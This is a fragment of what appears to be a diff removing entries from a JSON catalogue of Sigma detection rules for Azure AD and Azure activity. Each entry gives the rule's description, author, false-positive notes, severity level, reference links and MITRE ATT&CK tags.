"50a3c7aa-ec29-44a4-92c1-fce229eef6fc", - "value": "CA Policy Updated by Non Approved Actor" - }, - { - "description": "Monitor and alert on conditional access changes.", - "meta": { - "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/18", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ] - }, - "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", - "value": "New CA Policy by Non-approved Actor" - }, - { - "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", - "meta": { - "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/04/21", - "falsepositive": [ - "Failed Azure AD Connect Synchronization", - "Service account use with an incorrect password specified", - "Misconfigured systems", - "Vulnerability scanners" - ], - "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", - "value": "Sign-in Failure Bad Password Threshold" - }, - { - "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", - "meta": { - "author": "AlertIQ", - "creation_date": "2021/10/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_account_lockout.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", - "value": "Account Lockout" - }, - { - "description": "Detects when an account was created and deleted in a short period of time.", - "meta": { - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "creation_date": "2022/08/11", - "falsepositive": [ - "Legit administrative action" - ], - "filename": "azure_ad_account_created_deleted.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", - "value": "Account Created And Deleted Within A Close Time Frame" - }, - { - "description": "Detect successful authentications from countries you do not operate out of.", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", - "value": "Successful Authentications From Countries You Do Not Operate Out Of" - }, - { - "description": "Detects when sign-ins increased by 10% or greater.", - "meta": { - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", - "creation_date": "2022/08/11", - "falsepositive": [ - "Unlikely" - ], - "filename": "azure_ad_auth_failure_increase.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", - "value": "Increased Failed Authentications Of Any Type" - }, - { - "description": "Detects when successful sign-ins increased by 10% or greater.", - "meta": { - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "creation_date": "2022/08/11", - "falsepositive": [ - "Increase of users in the environment" - ], - "filename": "azure_ad_auth_sucess_increase.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", - "value": "Measurable Increase Of Successful Authentications" - }, - { - "description": "Detect when authentications to important application(s) only required single-factor authentication", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "f272fb46-25f2-422c-b667-45837994980f", - "value": "Authentications To Important Apps Using Single Factor Authentication" - }, - { - "description": "Monitor and alert for Bitlocker key retrieval.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_bitlocker_key_retrieval.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "a0413867-daf3-43dd-9245-734b3a787942", - "value": "Bitlocker Key Retrieval" - }, - { - "description": "Monitor and alert for device registration or join events where MFA was not performed.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_device_registration_or_join_without_mfa.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", - "value": "Device Registration or Join Without MFA" - }, - { - "description": "Monitor and alert for changes to the device registration policy.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_device_registration_policy_changes.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484" - ] - }, - "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", - "value": "Changes to Device Registration Policy" - }, - { - "description": "Detect failed authentications from countries you do not operate out of.", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", - "value": "Failed Authentications From Countries You Do Not Operate Out Of" - }, - { - "description": "Detects guest users being invited to tenant by non-approved inviters", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/28", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", - "value": "Guest Users Invited To Tenant By Non Approved Inviters" - }, - { - "description": "Detect when users are authenticating without MFA being required.", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/07/27", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_ad_only_single_factor_auth_required.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", - "value": "Azure AD Only Single Factor Authentication Required" - }, - { - "description": "Monitor and alert for sign-ins where the device was non-compliant.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", - "value": "Sign-ins from Non-Compliant Devices" - }, - { - "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_sign_ins_from_unknown_devices.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", - "value": "Sign-ins by Unknown Devices" - }, - { - "description": "Monitor and alert for users added to device admin roles.", - "meta": { - "author": "Michael Epping, '@mepples21'", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_ad_users_added_to_device_admin_roles.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "11c767ae-500b-423b-bae3-b234450736ed", - "value": "Users Added to Global or Device Admin Roles" - }, - { - "description": "User Added to an Administrator's Azure AD Role", - "meta": { - "author": "Raphaël CALVET, @MetallicHack", - "creation_date": "2021/10/04", - "falsepositive": [ - "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." - ], - "filename": "azure_ad_user_added_to_admin_role.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml", - "https://attack.mitre.org/techniques/T1098/003/" - ], - "tags": [ - "attack.persistence", - "attack.t1098.003" - ] - }, - "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", - "value": "User Added to an Administrator's Azure AD Role" - }, - { - "description": "Identifies when a application is deleted in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", - "falsepositive": [ - "Application being deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_application_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", - "value": "Azure Application Deleted" - }, - { - "description": "Identifies when a application gateway is modified or deleted.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/16", - "falsepositive": [ - "Application gateway being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_application_gateway_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", - "value": "Azure Application Gateway Modified or Deleted" - }, - { - "description": "Identifies when a application security group is modified or deleted.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/16", - "falsepositive": [ - "Application security group being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_application_security_group_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", - "value": "Azure Application Security Group Modified or Deleted" - }, - { - "description": "Detects when a configuration change is made to an applications AppID URI.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", - "falsepositive": [ - "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." - ], - "filename": "azure_app_appid_uri_changes.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access" - ] - }, - "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", - "value": "Application AppID Uri Configuration Changes" - }, - { - "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/05/26", - "falsepositive": [ - "When credentials are added/removed as part of the normal working hours/workflows" - ], - "filename": "azure_app_credential_added.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" - ], - "tags": [ - "attack.t1098", - "attack.persistence" - ] - }, - "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", - "value": "Added Credentials to Existing Application" - }, - { - "description": "Identifies when a application credential is modified.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", - "falsepositive": [ - "Application credential added may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_app_credential_modification.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", - "value": "Azure Application Credential Modified" - }, - { - "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "filename": "azure_app_delegated_permissions_all_users.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", - "value": "Delegated Permissions Granted For All Users" - }, - { - "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/01", - "falsepositive": [ - "Applications that are input constrained will need to use device code flow and are valid authentications." - ], - "filename": "azure_app_device_code_authentication.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows" - ], - "tags": [ - "attack.t1078", - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" - ] - }, - "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", - "value": "Application Using Device Code Authentication Flow" - }, - { - "description": "Detects when an end user consents to an application", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_app_end_user_consent.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", - "value": "End User Consent" - }, - { - "description": "Detects when end user consent is blocked due to risk-based consent.", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_app_end_user_consent_blocked.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "7091372f-623c-4293-bc37-20c32b3492be", - "value": "End User Consent Blocked" - }, - { - "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", - "falsepositive": [ - "When a new application owner is added by an administrator" - ], - "filename": "azure_app_owner_added.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access", - "attack.defense_evasion" - ] - }, - "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", - "value": "Added Owner To Application" - }, - { - "description": "Detects when app permissions (app roles) for other APIs are granted", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "filename": "azure_app_permissions_for_api.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", - "value": "App Permissions Granted For Other APIs" - }, - { - "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/10", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "filename": "azure_app_permissions_msft.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", - "value": "App Granted Microsoft Permissions" - }, - { - "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/28", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "filename": "azure_app_privileged_permissions.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "microsoft365portal", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", - "value": "App Granted Privileged Delegated Or App Permissions" - }, - { - "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", - "meta": { - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "creation_date": "2022/07/19", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "filename": "azure_app_role_added.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", - "value": "App Role Added" - }, - { - "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/01", - "falsepositive": [ - "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" - ], - "filename": "azure_app_ropc_authentication.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows" - ], - "tags": [ - "attack.t1078", - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" - ] - }, - "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", - "value": "Applications That Are Using ROPC Authentication Flow" - }, - { - "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", - "meta": { - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "creation_date": "2022/06/02", - "falsepositive": [ - "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." - ], - "filename": "azure_app_uri_modifications.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access" - ] - }, - "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", - "value": "Application URI Configuration Changes" - }, - { - "description": "Detects when an account is disabled or blocked for sign in but tried to log in", - "meta": { - "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/17", - "falsepositive": [ - "Account disabled or blocked in error", - "Automation account has been blocked or disabled" - ], - "filename": "azure_blocked_account_attempt.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", - "value": "Account Disabled or Blocked for Sign in Attempts" - }, - { - "description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", - "meta": { - "author": "AlertIQ", - "creation_date": "2021/10/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_change_to_authentication_method.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.credential_access" - ] - }, - "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", - "value": "Change to Authentication Method" - }, - { - "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", - "meta": { - "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/01", - "falsepositive": [ - "Service Account misconfigured", - "Misconfigured Systems", - "Vulnerability Scanners" - ], - "filename": "azure_conditional_access_failure.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml", - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", - "value": "Sign-in Failure Due to Conditional Access Requirements Not Met" - }, - { - "description": "Detects when a Container Registry is created or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - 